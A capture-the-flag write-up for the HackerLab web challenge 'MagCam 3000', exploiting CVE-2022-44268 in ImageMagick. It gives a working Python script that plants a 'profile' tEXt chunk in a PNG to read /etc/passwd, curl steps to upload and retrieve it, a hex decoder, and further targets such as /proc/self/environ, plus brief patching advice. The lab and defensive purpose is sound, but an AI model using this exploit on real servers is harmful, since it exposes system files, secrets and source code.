Магическая камера 3000 (MagCam 3000)
Магическая камера 3000 (MagCam 3000)
Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-01-17 | Status: Solved Techniques: cve_exploitation, metadata_exfiltration, png_chunk_injection
Summary
Server: 62.173.140.174:16017 Technologies: Apache/2.4.56 (Debian), PHP/8.0.28 Endpoints: index.php (upload form), file.php (file processing) Flag format: CODEBY{...}
Магическая камера 3000 (MagCam 3000) — HackerLab
Description
Недавно был на конференции MagicHat. Конференция запомнилась мне специальным пространством, в котором лучшие маги всех оттенков (и я) соревновались на быстроту деревянных эксплуатаций магических мётел. По окончанию соревнования занял 4 место, за что мне вручили магическую камеру "MagCam 3000" от какого-то малоизвестного стартапа.
Причём, сама камера без какой-либо инструкции, а на кнопках написаны неизвестные мне руны. Как мне сказали представители компании, эта камера обладает случайным функционалом, который сменяется раз в неделю.
С функционалом пришлось разбираться методом тыка. В первую неделю камера показывала места силы на фотографиях. Во вторую неделю камера призывала дух WandGPT. Сейчас идёт третья неделя и теперь камера просто крутит фотографию под случайным углом и выводит неизвестный мне текст. Можешь помочь найти что ещё может камера на этой неделе? Для этого я создал портал, позволяющий взаимодействовать с камерой прямо из твоего домашнего котла с водой.
Server: 62.173.140.174:16017
Technologies: Apache/2.4.56 (Debian), PHP/8.0.28
Endpoints: index.php (upload form), file.php (file processing)
Flag format: CODEBY{...}
Analysis
Reconnaissance
During web application analysis, the following was discovered:
- Server accepts only PNG files
- Uploaded images are processed and rotated by a random angle
- Result is saved to
/uploads/output-XXXX.png - Image size and metadata change during processing
Signs of ImageMagick usage:
- Rotation by arbitrary angle
- Size/quality modification
- Characteristic PNG file processing
Vulnerability
CVE-2022-44268 — arbitrary file read vulnerability in ImageMagick.
Vulnerable versions of ImageMagick, when processing PNG files, read the contents of files specified in the tEXt chunk with the keyword "profile" and embed the file contents as hex data in the output image metadata.
Exploitation conditions:
- ImageMagick version before CVE-2022-44268 patch
- Server processes uploaded PNG files
- Access to output image with metadata
Solution
Step 1: Creating a Malicious PNG
Create a PNG file with a tEXt chunk containing the path to the target file:
python read-only • copy allowed#!/usr/bin/env python3 """ CVE-2022-44268 - ImageMagick Arbitrary File Read Creating malicious PNG to read /etc/passwd """ from PIL import Image import struct import zlib # Create base PNG image img = Image.new('RGB', (100, 100), color='red') img.save('base.png') # Read base PNG with open('base.png', 'rb') as f: png_data = f.read() # Form tEXt chunk with CVE-2022-44268 payload # Key: "profile", Value: path to file to read text_key = b'profile' text_value = b'/etc/passwd' # Target file text_data = text_key + b'\x00' + text_value # Calculate CRC32 for chunk text_crc = zlib.crc32(b'tEXt' + text_data) & 0xffffffff # Assemble chunk: length (4 bytes) + type + data + CRC (4 bytes) text_chunk = ( struct.pack('>I', len(text_data)) + # Data length (big-endian) b'tEXt' + # Chunk type text_data + # Data: key\x00value struct.pack('>I', text_crc) # CRC32 ) # Insert chunk before IEND (end of PNG) iend_pos = png_data.find(b'IEND') - 4 # -4 for IEND chunk length new_png = png_data[:iend_pos] + text_chunk + png_data[iend_pos:] # Save exploit with open('exploit.png', 'wb') as f: f.write(new_png) print("[+] Created exploit.png with payload to read /etc/passwd")
Step 2: Uploading the Malicious PNG
bash read-only • copy allowed# Upload exploit to server curl -s -X POST http://62.173.140.174:16017/file.php \ -F "file=@exploit.png" \ -v 2>&1 | grep -i location # Response: Location: /uploads/output-395050.png
Step 3: Downloading and Analyzing the Result
bash read-only • copy allowed# Download processed image curl -s "http://62.173.140.174:16017/uploads/output-395050.png" -o result.png # Extract metadata exiftool result.png
The exiftool output contains a "Raw Profile Type" field with hex data:
Raw Profile Type : 434f444542597b6d346731635f63346d3372615f...
Step 4: Decoding Hex Data
python read-only • copy allowed#!/usr/bin/env python3 """ Decoding hex data from PNG metadata """ # Hex data from "Raw Profile Type" field hex_data = "434f444542597b6d346731635f63346d3372615f7730726b735f77306e643372737d0a..." # Decode hex to bytes decoded = bytes.fromhex(hex_data) # Print result print(decoded.decode('utf-8', errors='ignore'))
Result:
CODEBY{REDACTED}
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
Key Observations
- Flag in /etc/passwd — the flag was added to the beginning of the
/etc/passwdfile on the server - "Unknown text" — the "unknown text" mentioned in the description is the hex-encoded file contents in the output image metadata
- PNG validation — the server validated the actual PNG format (not just the extension), but did not sanitize PNG chunks
Alternative Targets
Using this vulnerability, other files could also be read:
/etc/passwd— user information/proc/self/environ— environment variables/var/www/html/index.php— application source code/flag.txt,/flag— typical flag locations
Defense
To protect against CVE-2022-44268:
- Update ImageMagick to the latest version
- Use policy.xml to restrict operations
- Remove metadata from output images
- Sanitize PNG chunks before processing
References
- CVE-2022-44268 - NVD
- ImageMagick PNG Arbitrary File Read
- PoC and exploitation details